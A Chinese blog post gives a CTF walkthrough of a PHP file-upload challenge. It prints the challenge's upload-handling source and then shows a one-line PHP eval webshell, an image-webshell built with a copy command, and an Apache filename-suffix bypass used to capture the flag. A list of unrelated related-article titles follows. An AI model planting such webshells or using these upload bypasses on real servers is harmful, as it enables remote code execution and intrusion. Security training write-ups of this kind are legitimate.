前言

本来吧,悄悄摸鱼,想整点啥打发时间,看视频太明显,于是做做题,眉头紧锁,仔细思考,装作工作很难的样子。

这回选择web类型的题目,主要是好久没做了,手有点生,找个简单的文件上传练练。

打开题目环境发现:

好像是没有什么特别的。

但是往下翻看却是别有洞天。

众所周知,php是后端语言,正常情况下前端是看不到的,也就是说,出题人还是很贴心的(虽然我觉得出题人没那么好心)。

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');if(!$_FILES){echo '<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta http-equiv="X-UA-Compatible" content="ie=edge" /><title>文件上传章节练习题</title><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"><style type="text/css">.login-box{margin-top: 100px;height: 500px;border: 1px solid #000;}body{background: white;}.btn1{width: 200px;}.d1{display: block;height: 400px;}</style>
</head>
<body><div class="container"><div class="login-box col-md-12"><form class="form-horizontal" method="post" enctype="multipart/form-data" ><h1>文件上传章节练习题</h1><hr /><div class="form-group"><label class="col-sm-2 control-label">选择文件:</label><div class="input-group col-sm-10"><div ><label for=""><input type="file" name="file" /></label></div></div></div><div class="col-sm-8  text-right"><input type="submit" class="btn btn-success text-right btn1" /></div></form></div></div>
</body>
</html>
';show_source(__FILE__);
}else{$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");}$name = $file['name'];$dir = 'upload/';$ext = strtolower(substr(strrchr($name, '.'), 1));$path = $dir.$name;function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}}if(!is_dir($dir)){mkdir($dir);}$temp_dir = $dir.md5(time(). rand(1000,9999));if(!is_dir($temp_dir)){mkdir($temp_dir);}if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}}else{exit('仅允许上传zip、jpg、gif、png文件!');}
}

既然有代码,自然要好好的研究一番,譬如,上传文件不能为空(这不废话吗?)。通过后续代码可知该上传采用的是白名单的过虑形式,且仅接受“.zip;.jpg;.gif;.png”格式的文件。上传文件的路径为"/upload",上传后的文件名采用“时间+随机数”的方式进行的。

因此,尝试着访问了一下upload页面:

呃。。。404???莫不是没上传就没有创建目录?

彳亍口八!

那就先上传一个图片试试。

果然。。。

既然文件目录已经存在了,现在就要思考文件上传漏洞的“各种绕过姿势”——后缀名、上传类型、%00截断等。

于是打开“吃饭神器”,啊不,抓包神器——BURPSUITE。对上传界面进行抓包,发送到repeater里面(主要是懒得总抓包)。

正片开始

首先写个php一句话:

<?php @Eval($_POST['shell']);?>

再用mspaint画个简单的图片。

用copy命令做个图片马。

copy pic.gif /b + shell.php /a picshell

上传,抓包,访问,呃。。。怎么没解析?

于是只好盯着Apache发呆,等等!Apache有个文件名后缀来着???

重新上传,抓包,访问,搞定!

 后记:

虽然拿到了FLAG,但是为什么蚁剑连接不上呢????

i春秋-CTF-web文件上传相关推荐

  1. WEB文件上传之JQuery ajaxfileupload插件使用(二)

    1.JQuery ajaxfileupload插件使用准备 下载地址: http://www.phpletter.com/DOWNLOAD/ 2.原理分析 ajaxfileupload也是利用ifra ...

  2. web文件上传(一)--文件上传与json上传区别及方法

    Web文件上传方法总结大全 上传文件与与上传数据区别 上传数据主要指json等简单字符串,上传文件指的是上传word.excel图片等.在上传数据的时候enctype默认为第一个application ...

  3. web文件上传-0x00漏洞

    文件上传-0x00漏洞 题目:2016全国大学生信息安全竞赛-web文件上传 原理 0x00漏洞:也称为%00阻断漏洞,0x00漏洞常见于Apache服务器后缀名称解析漏洞,不管文件最后后缀为什么,只 ...

  4. java web文件上传所需要的commons-fileupload和 commons-io jar包

    文章目录 一.官网获取 二.百度网盘分享 三.分享与热爱 一.官网获取 学习java web文件上传时需要用到两个必备的jar包: commons-fileupload commons-io jar ...

  5. java web 上传附件_JAVA WEB文件上传步骤

    JAVA WEB文件上传步骤如下: 实现 Web 开发中的文件上传功能,两个操作:在 Web 页面添加上传输入项,在 Servlet 中读取上传文件的数据并保存在本地硬盘中. 1.Web 端上传文件. ...

  6. web文件上传下载原理浅析

    一.web文件上传浅析 现在有很多Web程序都有上传功能,实现上传功能的组件或框架也很多,如基于java的Commons FileUpload.还有Struts1.x和Struts2中带的上传文件功能 ...

  7. 河南省网络安全高校战队联盟CTF训练营-web文件上传第一期

    文件上传 个人介绍 姓名:飞羽 CTF菜菜一枚 例题来源 ctfhub:https://www.ctfhub.com pwnthebox:https://insider.pwnthebox.com c ...

  8. SpringMVC整合fastdfs-client-java实现web文件上传下载

    为什么80%的码农都做不了架构师?>>>    版权声明:本文为博主原创文章,转载请标明出处(http://blog.csdn.net/wlwlwlwl015)Thanks. 目录( ...

  9. java图片上传下载_java web 文件上传与下载

    组件工作流程:WEB服务器request ServletFil eupLoad DiskFileItem Factory代表普通字段的FileItem代表上传文件1FileItem代表上传文件2Fil ...

  10. Web文件上传方法总结大全

    文件上传在WEB开发中应用很广泛,我们经常发微博.发微信朋友圈都用到了图片上传功能. 文件上传是指将本地图片.视频.音频等文件上传到服务器上,可以供其他用户浏览或下载的过程. 今天我给大家聊聊常见的文 ...

最新文章

  1. C语言的数顺序输出与反序输出_只愿与一人十指紧扣_新浪博客
  2. 基于PSR-0编码规范开发一套PHP-MVC框架(一)
  3. 远程无法连接svn服务器失败_windows vscode 远程连接linux服务器
  4. ubuntu 安装 OpenCV-CUDA
  5. Linux cJSON库的使用、编译为cJSON动态库
  6. HTML+CSS+JS实现 ❤️圆形倒数秒计时器❤️
  7. BZOJ 1031: [JSOI2007]字符加密Cipher( 后缀数组 )
  8. Java中Spring中的方法加上try catch后事务管理器失效无法回滚的情况
  9. 兼容多种模块规范(AMD,CMD,Node)的代码
  10. Linux firewall防火墙详解(二)——firewall配置
  11. 数据仓库与数据挖掘(二)
  12. 小米air如何装linux双系统,小米笔记本安装Win10+Ubuntu16.04 LTS 双系统
  13. 华为无线网卡无服务器,联通华为无线上网卡连接时连接被终止解决方法 - 小众知识...
  14. python基础入门
  15. java的inputbox,解释InputBox函数(输入函数)的用途
  16. android 百度地图 itemizedoverlay,[008] 百度地图API之ItemizedOverlay的使用(Android)
  17. 向量旋转(或矢量旋转或坐标轴旋转)后xy坐标重定位(vivado+cordic ip核+matlab) - 适用于数学爱好者
  18. ubuntu apt-get常见错误
  19. javascript字符串方法indexOf、lastIndexOf 方法的使用
  20. 魏文王问扁鹊的注释_魏文王问扁鹊 魏文王问扁鹊:“子昆弟三人其孰最善为医?” 扁...

热门文章

  1. arn-linux-gcc编译失败,arm-linux-gnueabihf-gcc交叉编译可执行程序失败的一种处理办法...
  2. c语言红酒编程题,C笔试题练习 - linbo5411的个人空间 - OSCHINA - 中文开源技术交流社区...
  3. 【paddlepaddle安装报错系列】Installing collected packages :OpenCV-python ERROR :After october 2020 you…
  4. 基于Spark的电商用户行为分析系统的设计与实现
  5. Hibernate中@Embedded和@Embeddable注解的使用
  6. Python中循环题目二的练习(for、while、if)
  7. NLP-信息抽取-三元组-联合抽取-多任务学习-2019:CasRel【关系三元组抽取:一种新的级联二元标注框架】【没用CRF】【基于Lic2019比赛】【数据集:NYT、WebNLG】
  8. MVP释义:做最小可行产品
  9. Node-RED使用指南:7:配置与设定总结:其他配置
  10. 人人商城php环境,关于微擎人人商城互动直播通信服务安装和启动教程记录